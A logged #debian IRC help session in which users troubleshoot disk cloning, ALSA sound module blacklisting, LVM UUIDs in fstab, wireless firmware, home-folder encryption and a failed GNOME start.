| 00:00.04 | boudiccas | kickstart |
| 00:00.09 | gohdan | PXE Boot |
| 00:00.10 | Kazuha | Then just do expert install on one, and clone it to the drives of the other 14. |
| 00:00.19 | useless-eater | Im going to make a clonezilla image and deploy it to all over ethernet :) |
| 00:00.28 | useless-eater | yah ;) |
| 00:01.03 | *** join/#debian scampbell (~scampbell@mail.scampbell.net) |
| 00:01.08 | *** join/#debian geenna (~geenna@net-2-32-223-100.cust.dsl.teletu.it) |
| 00:01.11 | Kazuha | No reason to repeat the same work 15 times, when you can do a simpler version 14. |
| 00:01.15 | *** join/#debian p3rror (~mezgani@2001:470:1f0b:c66:1::2) |
| 00:01.42 | public_ | if you are lucky enough to have the same hardware... |
| 00:02.39 | boudiccas | useless-eater; i thouight at first reading that was very irresponsible of you deploying it over the internet, but when i read it again i realised you said ethernet! |
| 00:03.03 | useless-eater | true.. anyone knows how clonezilla handles partition sizes.. say I clone a 50G partition with 1G used space, can I clone that to a 30G disk? |
| 00:03.12 | *** join/#debian B3rz3rk3r (~B3rz3rk3r@2a01:4f8:130:82e0::3) |
| 00:03.18 | useless-eater | :) |
| 00:03.50 | useless-eater | clonezilla, based on debian ;) |
| 00:04.00 | boudiccas | useless-eater; 50g will not fit on a 30g drive! |
| 00:04.37 | public_ | boudiccas, that's a linux worm.. to deploy over the internet :) ;-) |
| 00:04.44 | boudiccas | useless-eater; tother way about will do it but not the way you said |
| 00:04.58 | useless-eater | sure, but I hoped that clonezilla maybe had the tools of shrinking filsystems ? |
| 00:05.01 | boudiccas | public_; :) |
| 00:05.11 | *** join/#debian hedgehoginfog (~alex@c-68-82-180-17.hsd1.de.comcast.net) |
| 00:05.42 | useless-eater | raw dd would not work of course |
| 00:06.34 | *** join/#debian Sashi (~Sashi@S0106485b39e8054d.vc.shawcable.net) |
| 00:09.33 | Kazuha | Somewhat uglier method... |
| 00:09.42 | Kazuha | If the entire install is <4 gigs... |
| 00:09.50 | Kazuha | Rip that to a DVD. |
| 00:10.07 | *** join/#debian jhutchins_lt (~jonathan@64-151-37-66.dyn.everestkc.net) |
| 00:10.56 | Kazuha | Copy it all to those drives, and then just run the installer's lilo/grub on each system. |
| 00:11.20 | Kazuha | (I'm not actually sure if this would work... because I've never been in a position to try it.) |
| 00:12.29 | useless-eater | ugly, but guess it works :) |
| 00:13.16 | Kazuha | However, I have done something similar in the past to rescue from a lost MBR. |
| 00:13.24 | *** join/#debian MUILTFN (~MLINTH@adsl-98-80-205-239.mcn.bellsouth.net) |
| 00:13.43 | Kazuha | (Or more precisely... an MBR nommed by another OS's installer.) |
| 00:16.49 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 00:17.22 | *** join/#debian H4ck3rUnkn0wN (~H4ck3rUnk@c953f493.virtua.com.br) |
| 00:19.03 | *** part/#debian H4ck3rUnkn0wN (~H4ck3rUnk@c953f493.virtua.com.br) |
| 00:19.43 | *** join/#debian ponyofdeath (~vladi@cpe-75-80-175-217.san.res.rr.com) |
| 00:19.44 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 00:19.56 | Kazuha | It took an embarrassing number of times through that particular dance to realize that I could make it leave the other MBRs alone... by the simple expedient of unplugging all other drives. |
| 00:20.24 | *** join/#debian vitplister (~mhm@ua-83-227-139-196.cust.bredbandsbolaget.se) |
| 00:21.23 | useless-eater | wheezy dist-upgrade finished. restarting and crossing fingers that raid/lvm or anything will fail :) |
| 00:22.08 | *** join/#debian llua (~llua@99-8-168-46.lightspeed.livnmi.sbcglobal.net) |
| 00:22.08 | *** join/#debian llua (~llua@unaffiliated/llua) |
| 00:22.31 | *** join/#debian vrkalak (~vrkalak@c-68-35-48-247.hsd1.nm.comcast.net) |
| 00:25.27 | *** join/#debian enr^ (~enr@90-230-67-77-no84.tbcn.telia.com) |
| 00:26.01 | waka | which script auto-probs my modules.conf file. I've put the modules.conf file in etc/ as explained in the alsa INSTALL notes. I have a emu10k1 driver which works fine but I've just got to modprobe each time I reboot the system |
| 00:26.30 | *** join/#debian flypp (~flypp@23.pool85-57-69.dynamic.orange.es) |
| 00:28.05 | nyov | waka: it should be /etc/modules I believe. no .conf |
| 00:29.25 | nyov | waka: maybe check that your module isn't blacklisted somewhere |
| 00:30.29 | nyov | also /etc/modprobe.d/alsa-base.conf should have a line "install snd-emu10k1 [...]" already I think |
| 00:30.30 | waka | oh yes |
| 00:30.40 | waka | I shoud comment that out |
| 00:30.51 | waka | let me find that thanks for the hint |
| 00:31.01 | *** mode/#debian [+l 1067] by debhelper |
| 00:31.08 | *** join/#debian dvs (~me@cwv.teksavvy.com) |
| 00:31.19 | *** join/#debian craigevil (~craig@97.102.45.194) |
| 00:31.36 | *** join/#debian iateadonut (~dan@cpe-72-184-206-2.tampabay.res.rr.com) |
| 00:31.36 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 00:32.25 | waka | the alsa-base.conf has that yes |
| 00:34.06 | waka | nyov, when I ran alsaconf the sound file created in etc modules brings an error on startup that the file should have a .conf |
| 00:34.15 | waka | let me try see what will happen if I don change that |
| 00:34.40 | *** join/#debian oops (~oops@unaffiliated/oops) |
| 00:35.19 | nyov | waka: then it probably should have .conf |
| 00:36.08 | waka | noyv: how about alsactl store |
| 00:36.16 | nyov | waka: think I got it |
| 00:36.24 | waka | i'm on sid |
| 00:36.40 | waka | I lost sound after upgrading to wheezy |
| 00:36.54 | nyov | waka: grep -R emu /etc/modprobe.d/ |
| 00:37.08 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 00:37.16 | nyov | waka: tells me: /etc/modprobe.d/linux-sound-base_noOSS.conf:blacklist emu10k1 |
| 00:37.25 | useless-eater | Guys, going to make a automatic ripping machine. and I need a script or something to detect when a audio cd is put in and then start command "abcde".. Is going to be headless server. anyone can help me getting started. the abcde thing I got sorted. that was easy |
| 00:37.51 | gohdan | are there any tools similar to 'sleuthkit' that serve dedicated recovery functions? like something that just recovers images or particular types of sound files etc |
| 00:37.51 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 00:37.52 | nyov | waka: so you probably have your module blacklisted in that file |
| 00:38.04 | waka | yes I actually do |
| 00:38.42 | *** join/#debian mns (~mns@c-71-192-48-209.hsd1.ma.comcast.net) |
| 00:38.51 | waka | nyov I was only looking at the actual blacklist file in mobprobe.d |
| 00:39.38 | useless-eater | gohdan photorec type of recovery you mean? |
| 00:40.08 | *** join/#debian hufnus (~hufnus@69-12-177-67.dsl.static.sonic.net) |
| 00:40.19 | useless-eater | photorec is awesome for getting files out of defect disks/filesystems |
| 00:40.24 | *** join/#debian Chez (~Ebachev@212-45-78-74.customers.istar-link.com) |
| 00:40.32 | useless-eater | in package testdisk i believe |
| 00:40.40 | waka | nyov: Iv got this http://paste.debian.net/120906/ |
| 00:41.00 | *** mode/#debian [+l 1074] by debhelper |
| 00:41.26 | gohdan | useless-eater: im building a general purpose swiss army knife. some times its better to take a dedicated scalpel to things than beating it with a sledge hammer |
| 00:41.28 | useless-eater | photorec is safe and readonly. testdisk is not for noobs and can cause damage if used wrong |
| 00:41.36 | gohdan | i'll give it a look |
| 00:41.41 | nyov | waka: looks like you have OSS and ALSA and they blacklist each others stuff? :o |
| 00:41.56 | dvs | waka: you have OSS4 installed? |
| 00:42.01 | useless-eater | gohdan: youll love it ;) |
| 00:42.13 | nyov | waka: oops my fault, i read wrong |
| 00:42.42 | waka | dvs: I installed it a while back yes but alsa worked for me |
| 00:42.50 | *** join/#debian joshsmith (~joshsmith@cpe-76-167-159-14.socal.res.rr.com) |
| 00:43.38 | *** join/#debian AbsintheSyringe (~havoc@SE400.PPPoE-1036.sa.bih.net.ba) |
| 00:44.11 | dvs | Chez: dont /msg me |
| 00:44.27 | waka | dvs: why? |
| 00:44.33 | *** join/#debian axolx (~axolx@75-145-65-101-Oregon.hfc.comcastbusiness.net) |
| 00:44.38 | *** join/#debian queso (~queso@adsl-75-21-75-97.dsl.chcgil.sbcglobal.net) |
| 00:44.58 | dvs | waka: because ALSA and OSS probably blacklist each other kernel modules. |
| 00:45.10 | queso | Is it not possible to use the LV UUID provided by lvdisplay in /etc/fstab? |
| 00:45.35 | waka | dvs: Im quickly removing oss4 yes |
| 00:45.40 | queso | Or should I just use /dev/volgroup/mylogval ? |
| 00:45.49 | nyov | actually it's only OSS4 blacklisting ALSA and OSS3 stuff from the looks of it |
| 00:46.34 | waka | yes |
| 00:46.39 | nyov | or is linux-sound-base ALSA? |
| 00:46.53 | waka | yes |
| 00:46.55 | *** join/#debian smaug9 (~smaug9@12.177.253.250) |
| 00:47.22 | nyov | that is also blacklisting your emu, though |
| 00:47.56 | waka | what's the purge command though? |
| 00:48.10 | waka | does it matter if I just do a remove |
| 00:48.27 | nyov | waka: purge removes config files also |
| 00:48.28 | waka | I was just trying OSS out |
| 00:48.58 | waka | I meant that is -P |
| 00:49.02 | nyov | queso: haven't tested that, did you try? |
| 00:49.38 | queso | nyov: I tried and it said it couldn't recognize anything by that UUID :( |
| 00:50.07 | queso | nyov: I was wondering if maybe it's just not intended to be used when it's a logical volume. |
| 00:50.27 | nyov | queso: if the UUID matches the on in /dev/disk/by-uuid/* it should work though |
| 00:50.39 | nyov | *the one |
| 00:50.50 | *** join/#debian dzup (~dzup@unaffiliated/dzup) |
| 00:51.05 | nyov | oh wait, it's not even in there D; |
| 00:51.21 | nyov | or is it? |
| 00:51.24 | useless-eater | one of my several optiplex computers is now up and renning with M Audio Audiophile 24/96 card. Going to feed a old tube amp with flac files from MPD server ahh :) If I only could get it to autodetect audiocds and run "abcde" command when they are inserted... anyone can help? |
| 00:53.28 | nyov | queso: I believe it's in there, you can match the dm-x to your LV using "dmsetup ls" and matching the minor number |
| 00:55.09 | *** join/#debian Miesco (~mugsy@d67-193-200-146.home3.cgocable.net) |
| 00:55.18 | *** join/#debian hoverfly (~me@host-219-70-196-43.dynamic.kbtelecom.net) |
| 00:56.09 | nyov | queso: so if dmsetup ls says your LV is (254, 2), then that would be the UUID symlinked to dm-2 in /dev/disk/by-uuid/ |
| 00:56.15 | *** join/#debian joe6 (~joe6@c-76-20-251-41.hsd1.ga.comcast.net) |
| 00:57.49 | *** part/#debian lemar9 (~cat910@c-71-235-43-100.hsd1.ct.comcast.net) |
| 01:00.22 | waka | a sec |
| 01:00.24 | queso | nyov: dmsetup ls says (253, 0) |
| 01:00.48 | queso | nyov: and the LV UUID listed by lvdisplay isn't listed in /dev/disk/by-uuid |
| 01:01.00 | *** mode/#debian [+l 1066] by debhelper |
| 01:01.20 | nyov | queso: you can cfdisk or something to check if the size fits that in /dev/dm-0, but i'm pretty sure it will |
| 01:01.33 | *** join/#debian waka (~waka@unaffiliated/waka) |
| 01:01.51 | nyov | queso: so using the UUID from dm-0 should work in fstab |
| 01:02.09 | queso | nyov: if there happen to be multiple logical volumes, presumably there will be more dm-N's set up . . then how do you know which is which if the logical volumes are the same size? |
| 01:03.02 | queso | nyov: but yes, using the UUID for dm-0 did work :) |
| 01:03.16 | *** join/#debian NiLon (nilon@62-113-191-177.bb.dnainternet.fi) |
| 01:03.16 | *** join/#debian NiLon (nilon@unaffiliated/nilon) |
| 01:04.29 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 01:04.36 | *** join/#debian i2pn00b (~i2pn00b@gateway/tor-sasl/i2pn00b) |
| 01:04.39 | *** join/#debian lapsusbrutus (~ah@158.254.202.84.customer.cdi.no) |
| 01:04.42 | nyov | queso: I don't know off the top of my virtual hat, but there should be some header you can check for with some lvm tool |
| 01:04.51 | *** part/#debian i2pn00b (~i2pn00b@gateway/tor-sasl/i2pn00b) |
| 01:05.20 | nyov | queso: if in doubt, mount it :P |
| 01:05.25 | lapsusbrutus | just upgraded to wheezy, all good :) |
| 01:06.05 | queso | nyov: haha, good point. thanks for your help, it's appreciated. |
| 01:06.08 | nevyn | eww dm-0 shouldn't be used |
| 01:06.22 | nevyn | use /dev/mapper/vgname-lvname |
| 01:06.28 | *** join/#debian redbullfx (48bc2cf9@gateway/web/freenode/ip.72.188.44.249) |
| 01:06.29 | nevyn | or use /dev/vgname/lvname |
| 01:06.49 | nevyn | it's the whole point of lvm |
| 01:06.55 | queso | nevyn: should UUIDs be used only for physical devices? the thought did cross my mind |
| 01:07.14 | *** part/#debian joe6 (~joe6@c-76-20-251-41.hsd1.ga.comcast.net) |
| 01:07.18 | *** join/#debian waka (~waka@unaffiliated/waka) |
| 01:07.38 | nevyn | you can use the uuid of the lv if you really want |
| 01:07.44 | nyov | nevyn: he's not using dm-0, only the path to get to the UUID |
| 01:07.46 | *** join/#debian Setec_Astronomy (~iamatallo@cpe-173-88-197-124.neo.res.rr.com) |
| 01:08.00 | redbullfx | I need some support. I downloaded the newest Debian Version. CD 6.0.1a amd64 version. Problem is my wireless does not work. Ethernet yes. I have Atheros AR9285. Any thoughts? |
| 01:08.09 | *** join/#debian Legion (~Legion@unaffiliated/leg1on) |
| 01:08.16 | queso | nevyn, nyov: okay, makes sense, thanks |
| 01:08.50 | nyov | fwiw I never used UUIDs for lv's so far |
| 01:08.54 | *** join/#debian naiv (~quassel@ARennes-652-1-4-177.w2-10.abo.wanadoo.fr) |
| 01:09.11 | redbullfx | As far as i know. it should work right out of the box. I install ubuntu. It works. Debian no. |
| 01:09.48 | *** join/#debian r3c4ll (~r3c4ll@190.77.225.254) |
| 01:11.09 | craigevil | redbullfx, ubuntu comes with non-free crap that debian doesnt, search the wiki you probably just need firmware thats in non-free |
| 01:11.13 | *** join/#debian Texou (~Texou@unaffiliated/texou) |
| 01:11.22 | *** join/#debian lotus-blade (~lotus-bla@ool-45757679.dyn.optonline.net) |
| 01:11.28 | *** join/#debian meeso (~meeso@c-76-111-37-20.hsd1.ga.comcast.net) |
| 01:13.30 | *** join/#debian fishey1 (~nyx@rrcs-97-79-174-130.sw.biz.rr.com) |
| 01:13.34 | waka | it is actually working now even without removing oss4 |
| 01:13.37 | *** join/#debian freakazoid0223 (~matt@pool-173-49-209-91.phlapa.fios.verizon.net) |
| 01:13.56 | waka | nyov: I have not adjusted anything and mobprobe worked |
| 01:13.59 | queso | Is there a difference between /dev/mapper/VOLGROUP-logvol and /dev/VOLGROUP/logvol ? Why do both exist? |
| 01:13.59 | *** join/#debian AndroUser2 (~androirc@out-pq-236.wireless.telus.com) |
| 01:14.09 | redbullfx | Craigevil : well it should be because debian 6 comes with ath9k and that is suppose to support my wireless card... but it doesnt... something strange is going on. |
| 01:14.15 | nyov | waka: nice :) |
| 01:14.33 | lotus-blade | ok. I have 2 video cards installed. the onboard video and a pci ati radeon 9250. I am getting failed to load firmware. |
| 01:14.41 | *** join/#debian shahri_ (~shahri@dslb-094-221-127-049.pools.arcor-ip.net) |
| 01:14.43 | dvs | redbullfx: get a backported kernel |
| 01:15.20 | dvs | and it doesnt use firmware |
| 01:15.23 | *** join/#debian master_of_master (~master_of@p57B537C9.dip.t-dialin.net) |
| 01:15.52 | lapsusbrutus | gn all |
| 01:15.53 | waka | nyov: the sound card is recognised fine but there was no sound from vlc |
| 01:16.22 | craigevil | redbullfx, http://wiki.debian.org/ath9k?highlight=%28Atheros%29#Squeeze |
| 01:16.30 | lapsusbrutus | waka: did you check if alsamixer did mute something? |
| 01:16.37 | waka | nyov: i got too excited |
| 01:17.02 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 01:17.11 | waka | amixer wasn working for me last time I checked |
| 01:17.24 | waka | labsusbrutus: I meant alsamixer |
| 01:17.30 | *** join/#debian pianist (~pianist@unaffiliated/pianist) |
| 01:17.40 | *** part/#debian pianist (~pianist@unaffiliated/pianist) |
| 01:17.53 | lapsusbrutus | how not working? did you install alsa-utils? |
| 01:18.05 | redbullfx | I see.. perfect. Thank you guys for the support... |
| 01:18.06 | waka | since I had also tried pulseaudio earlier I thnk I messed with that somehow |
| 01:18.07 | waka | yes |
| 01:18.08 | redbullfx | Good night guys |
| 01:18.14 | waka | but I get a connect error |
| 01:18.34 | dvs | np |
| 01:18.50 | waka | ALSA lib pulse.c:229:(pulse_connect) PulseAudio: Unable to connect: |
| 01:19.07 | lapsusbrutus | waka: ahh been there done that.. dont remeber the cause though.. remaining oss maybe? |
| 01:19.25 | waka | I have just purged that |
| 01:19.57 | waka | sometimes when the sound works, I forget settings i had meddled with and now they come to bite me :( |
| 01:20.16 | *** join/#debian centHOGG (~wbm@adsl-209-30-128-23.dsl.austtx.swbell.net) |
| 01:20.22 | lapsusbrutus | :p |
| 01:20.27 | *** join/#debian linux_inferno (~matt@208.125.91.184.cfl.res.rr.com) |
| 01:21.01 | *** join/#debian bint (bint@cable-static-220-208.intergga.ch) |
| 01:21.25 | lapsusbrutus | when alsa works, i try not messing with anythig but the mixer.. :p |
| 01:21.29 | *** join/#debian chokesmaster (~chokesmas@bas7-sherbrooke40-2925312161.dsl.bell.ca) |
| 01:21.29 | *** part/#debian lulzyboy (~Ian@178-83-178-140.dynamic.hispeed.ch) |
| 01:22.05 | waka | the gnome alsamixer works |
| 01:22.25 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 01:22.45 | nyov | waka: that probably means your pulseaudio is not running |
| 01:22.57 | lapsusbrutus | gtg bb almost 3.30 here :) |
| 01:22.57 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 01:23.03 | *** join/#debian fender0107401 (~fender010@219.243.32.29) |
| 01:23.26 | waka | nyov; a silly question here, how does that work |
| 01:24.05 | nyov | waka: ps aux | grep pulse - or something |
| 01:24.38 | nyov | waka: if it's not there, try in a terminal, as your user: pulseaudio & |
| 01:24.43 | *** join/#debian wols_ (~klingens@p5B0DB87F.dip.t-dialin.net) |
| 01:24.47 | *** join/#debian MrFrood (happy@ukato.freeshell.org) |
| 01:25.31 | tiphiid | i had a similar problem recently |
| 01:25.47 | tiphiid | removed /tmp/pulse* |
| 01:25.50 | waka | nyov; i actually dont have pulseaudio installed |
| 01:25.59 | tiphiid | modprobe snd-hda-intel |
| 01:26.01 | tiphiid | fixed |
| 01:26.04 | *** join/#debian DammitJim (~me@99-75-56-77.lightspeed.dybhfl.sbcglobal.net) |
| 01:26.10 | nyov | waka: doh |
| 01:26.10 | waka | how do I deactivate overwrite on xchat lold |
| 01:26.21 | nyov | waka: should've told me earlier |
| 01:26.26 | waka | hehe |
| 01:26.28 | waka | sorry |
| 01:27.04 | *** join/#debian asakura_ (~matt@60.52.28.151) |
| 01:28.37 | *** join/#debian oldtopman (~oldtopman@unaffiliated/oldtopman) |
| 01:30.28 | waka | when I was building alsa-utils though, I had to disable-xmlto so it could compile error free |
| 01:30.36 | *** join/#debian gentgeen__ (~kevin@c-98-236-71-64.hsd1.pa.comcast.net) |
| 01:31.08 | waka | tiphiid: iv removed whatever pulse was in temp |
| 01:31.16 | nyov | waka: you probably have some pulse leftovers, if it even tries to connect to pa |
| 01:32.26 | waka | nyov: when i do purge pulse i get warned about removing these http://paste.debian.net/120909/ |
| 01:32.31 | tiphiid | waka: is sound completely borked or does it work in some instances? |
| 01:32.47 | waka | hehe it is working |
| 01:34.00 | waka | completely smoothly just but for vlc and rhythmbox |
| 01:34.05 | nyov | waka, looks ok. you might want to keep kbuild if you do build that kernel yourself |
| 01:34.16 | centHOGG | waka: true |
| 01:34.17 | *** join/#debian Kaede (~Kaede@unaffiliated/kaede) |
| 01:34.18 | waka | definitely |
| 01:34.19 | nyov | waka: or install it again later |
| 01:34.26 | *** join/#debian cheater__ (~ubuntu@g229129111.adsl.alicedsl.de) |
| 01:34.27 | waka | I wouldn't go ahead with the |
| 01:34.44 | *** join/#debian DanDare (DanDare@186.213.126.182) |
| 01:35.03 | waka | im on 2.6.32 so i wouldn remove what Im being told |
| 01:35.20 | nyov | ? |
| 01:36.09 | waka | 2.6.32-5 kernel i mean |
| 01:36.17 | nyov | waka: it will only remove those because nothing else depends on them anymore |
| 01:36.35 | *** join/#debian Antilect (~Antilect@90-229-197-56-no150.tbcn.telia.com) |
| 01:37.12 | *** join/#debian MUILTFN (~MLINTH@adsl-98-80-240-122.mcn.bellsouth.net) |
| 01:38.27 | waka | i remember having to 'make' my netgear wireless driver work and i needed the header |
| 01:38.45 | centHOGG | gcc |
| 01:39.05 | *** join/#debian ajikeshi (~ajikeshi@unaffiliated/ajikeshi) |
| 01:39.10 | waka | i'm not sure i dont need it any more given it can be a pain working with the old usb adapter |
| 01:39.12 | *** join/#debian mns (~mns@c-71-192-48-209.hsd1.ma.comcast.net) |
| 01:40.41 | *** join/#debian sumrak (dmitriy427@212.12.17.40) |
| 01:41.11 | fishey1 | does anyone here know how to change how much installing packages prompts me for input? I recall making it more "prompty" in the past. |
| 01:41.55 | *** join/#debian cipher__ (~cipher@unaffiliated/cipher--/x-7733551) |
| 01:42.09 | cipher__ | Could anyone point me towards encrypting my homefolder? |
| 01:42.58 | waka | what's the best debugger out there |
| 01:43.12 | cipher__ | gdb |
| 01:44.22 | cipher__ | waka, your turn, what's the best method to encrypting my home folder? :p |
| 01:45.11 | waka | i dont know why I did it while installing |
| 01:45.17 | *** join/#debian Wazzh (~Wazzh@5ac5bf1b.bb.sky.com) |
| 01:45.34 | waka | wouldn't be able to advise you as someone who knows lots about it |
| 01:45.49 | waka | tried truecrypt? |
| 01:46.38 | cipher__ | well i would like the gdm to unencypt it, i have read that it is possible to set it up that way? |
| 01:47.04 | waka | depends on what you want to do |
| 01:47.18 | cipher__ | stop TSA from prying into my home folder :p |
| 01:47.26 | Ex-Opesa | Hi, I was looking up for a guide for installing openvz on x86 Debian Squeze and I found this http://www.howtoforge.com/installing-and-using-openvz-on-debian-squeeze-amd64 Can anyone please confirm why does the commenter says to install linux-headers-2.6.32-5-openvz-686 or else system will crash on reboot? |
| 01:47.46 | nyov | cipher__: depends on what you want, a partition encryption or that encfs fuse thing |
| 01:47.47 | Ex-Opesa | I don't know exact difference between linux-headers and linux-image. |
| 01:47.59 | waka | I really should not be advising on this though, i did it on install years back |
| 01:48.08 | *** join/#debian jetx (~jetscream@unaffiliated/jetscreamer) |
| 01:48.18 | *** join/#debian sourcode (~code@ppp-58-8-98-21.revip2.asianet.co.th) |
| 01:48.52 | cipher__ | nyov, well seeing as /home doesn't have its own partition the second option would seem the most sound. |
| 01:49.22 | nyov | Ex-Opesa: you need header files for compiling modules, against the kernel in this case. I wouldn't know why OpenVZ should crash without them |
| 01:50.35 | nyov | cipher__: true, but if you are on LVM already you might want to consider just creating a partition for home |
| 01:50.54 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 01:51.07 | nyov | but maybe that FUSE isn't so bad, idk since I never used it |
| 01:51.15 | cipher__ | nyov, logical partition? |
| 01:51.18 | cipher__ | LVM |
| 01:51.46 | nyov | cipher__: a logical volume in LVM |
| 01:51.52 | cipher__ | ah |
| 01:51.53 | waka | thanks nyov |
| 01:51.56 | cipher__ | :S |
| 01:52.07 | waka | I'll bring feedback on how my sound goes |
| 01:52.21 | cipher__ | nyov, could you possibly guide me on this process :)? |
| 01:52.43 | nyov | cipher__: if 'lvdisplay' shows you some volume names, you know you have it installed at least |
| 01:52.53 | cipher__ | ok |
| 01:53.10 | nyov | waka: alright, but i'm not well-versed on Sid problems |
| 01:53.15 | cipher__ | it's not installed? |
| 01:53.38 | nyov | cipher__: needs root in any case |
| 01:54.04 | cipher__ | 'command not found' |
| 01:54.27 | Ex-Opesa | nyov: Why does that commenter said it then? Any reason could be behind it? |
| 01:55.03 | *** join/#debian jeremym (~jsmartin@173-28-54-165.client.mchsi.com) |
| 01:55.08 | *** part/#debian bst_ (~bst@net248-0-245-109.mbb.telenor.rs) |
| 01:55.42 | nyov | cipher__: maybe you want to check out EncFS then :P or read up on LVM |
| 01:55.56 | cipher__ | alright, thanks nyov |
| 01:56.57 | *** join/#debian derchris (~derchris@78-86-128-162.zone2.bethere.co.uk) |
| 01:57.00 | craigevil | easier to just encrypt everything during install |
| 01:57.51 | nyov | Ex-Opesa: I think you can ignore that comment. It doesn't make any sense |
| 01:57.58 | *** join/#debian aguitel (~aguitel@190.244.14.206) |
| 02:00.29 | *** join/#debian adam8157 (~adam8157@123.118.173.117) |
| 02:01.21 | *** join/#debian digilink (~digilink@irc.stephennet.net) |
| 02:01.22 | nyov | Ex-Opesa: but I would recommend you keep your old kernel around so if anything goes tits up, you can still safely boot with your old kernel |
| 02:01.50 | Ex-Opesa | nyov: I see. I won't be removing my old kernel just to be on the safe side. |
| 02:02.15 | *** join/#debian digilink (~digilink@unaffiliated/digilink) |
| 02:03.19 | *** join/#debian el_doggy[14] (~x3User172@212.164.146.207) |
| 02:03.20 | *** join/#debian aguitel (~aguitel@190.244.14.206) |
| 02:06.45 | *** join/#debian totem (~mplayer@unaffiliated/totem) |
| 02:13.19 | *** join/#debian linux_probe (~chris@cpe-184-56-117-183.neo.res.rr.com) |
| 02:13.48 | *** join/#debian imgx64 (~imgx64@188.116.200.55) |
| 02:13.54 | *** join/#debian crypticsquared (~crypticsq@unaffiliated/crypticsquared) |
| 02:14.55 | *** join/#debian semeion (~weechat@unaffiliated/semeion) |
| 02:17.44 | *** join/#debian aaronb (~aaronb@173-28-215-209.client.mchsi.com) |
| 02:19.04 | *** part/#debian aaronb (~aaronb@173-28-215-209.client.mchsi.com) |
| 02:19.06 | *** join/#debian s3a (~deniz@ip69-17-247-100.vif.net) |
| 02:19.54 | s3a | My computer boots but doesn't start gdm3, i have ssh access, how do I get a boot log? |
| 02:21.21 | Bop | s3a, dmesg |
| 02:21.31 | *** join/#debian Miesco (~mugsy@d67-193-200-146.home3.cgocable.net) |
| 02:22.31 | s3a | Bop, dmesg is the same as sudo cat /var/log/messages, right? |
| 02:22.40 | Bop | s3a, no |
| 02:22.57 | s3a | Bop, it seems to me that dmesg logs in /var/log/messages |
| 02:23.03 | s3a | by eye |
| 02:23.11 | Bop | s3a, didnt notice that |
| 02:23.32 | s3a | so it is the same then |
| 02:23.33 | s3a | ? |
| 02:24.29 | Bop | yeah , looks like u'r correct , s3a |
| 02:24.40 | *** join/#debian G_O_D (~marco@host34.190-138-234.telecom.net.ar) |
| 02:24.55 | *** join/#debian hufnus (~hufnus@69-12-177-67.dsl.static.sonic.net) |
| 02:26.42 | *** join/#debian esope (~user@pool-71-185-137-79.phlapa.east.verizon.net) |
| 02:27.09 | *** join/#debian Seth_Hikaru (~DXD@unaffiliated/seth-hikaru/x-6553659) |
| 02:27.23 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 02:27.31 | s3a | Bop, yay :) so do you have an idea as to what my problem could be? my computer boots and then asks me to log in to the tty1 terminal but i cannot start gnome manually although everything else works. i even re-installed gnome! |
| 02:27.33 | *** join/#debian noahfx (~josue@201.216.143.57) |
| 02:27.37 | *** join/#debian Daditos (kvirc@unaffiliated/daditos) |
| 02:27.53 | Bop | s3a, what GPU card u have ? |
| 02:28.41 | s3a | Bop, amd hd4850 but it's not that type of problem. it worked before then i screwed things over but i fixed them and there shouldn't be any issues |
| 02:28.58 | s3a | i fixed them via chroot |
| 02:29.01 | Bop | s3a, i would reinstall driver |
| 02:29.07 | Bop | s3a, i would reinstall GPU driver |
| 02:29.31 | *** join/#debian esope (~user@pool-71-185-137-79.phlapa.east.verizon.net) |
| 02:29.40 | Bop | s3a, is X cant start , check X.0.log at /var/log/ |
| 02:29.44 | s3a | Bop, i had fglrx and i did remove that thinking something similar. i did not reinstall fglrx but i reverted to the open source driver. anything else? (i will try re-installing fglrx anyways but i doubt it will solve anything) |
| 02:29.51 | s3a | o i'll check those first |
| 02:30.00 | Bop | s3a, wait |
| 02:30.16 | *** part/#debian esope (~user@pool-71-185-137-79.phlapa.east.verizon.net) |
| 02:30.41 | s3a | Bop, is that the correct name of the file? |
| 02:31.15 | Bop | s3a, Xorg.0.log |
| 02:31.30 | s3a | it's blank |
| 02:31.47 | Bop | s3a, i think u need to reinstall mesa packages , if u uninstall fglrx , something might had broke |
| 02:31.57 | Bop | s3a, launch gnome |
| 02:32.15 | s3a | my attempts to launch gnome did not work |
| 02:32.19 | s3a | i'll re-install mesa packages |
| 02:32.54 | Bop | its 2 packages needed to reinstall , cant remember packages names , ask in #radeon |
| 02:33.40 | s3a | Bop, it's ok, i did apt-show-versions | grep mesa |
| 02:33.54 | s3a | i'm now reinstalling |
| 02:34.22 | s3a | Bop, k now rebooting |
| 02:34.46 | Bop | s3a, reinstall libdrm-radeon1 and xserver-xorg-video-radeon also |
| 02:34.53 | Bop | s3a, no need for reboot |
| 02:34.54 | *** join/#debian lollo64it (~lorenzo@93-58-3-33.ip156.fastwebnet.it) |
| 02:35.26 | s3a | Bop, i don't want to take chances |
| 02:35.33 | Bop | u wont |
| 02:35.47 | s3a | it's almost back anyways |
| 02:35.52 | s3a | ya it's back |
| 02:36.03 | s3a | wait i'll check |
| 02:36.34 | *** join/#debian meeso (~meeso@c-76-111-37-20.hsd1.ga.comcast.net) |
| 02:36.55 | s3a | Bop, wtf now i can't ssh |
| 02:37.04 | *** part/#debian fishey1 (~nyx@rrcs-97-79-174-130.sw.biz.rr.com) |
| 02:37.07 | Bop | oO |
| 02:38.15 | s3a | Bop, that comp can't access this one either now |
| 02:38.20 | s3a | that one says "Network unreachable" |
| 02:38.29 | Bop | network issues |
| 02:38.37 | s3a | this one says No route to host |
| 02:38.37 | Bop | lost his config |
| 02:38.46 | s3a | i did sudo dhclient |
| 02:38.49 | s3a | that didn't help |
| 02:38.56 | s3a | and it's wired |
| 02:39.01 | Bop | use dhcpcd instead of dhclient |
| 02:39.01 | s3a | passwordless |
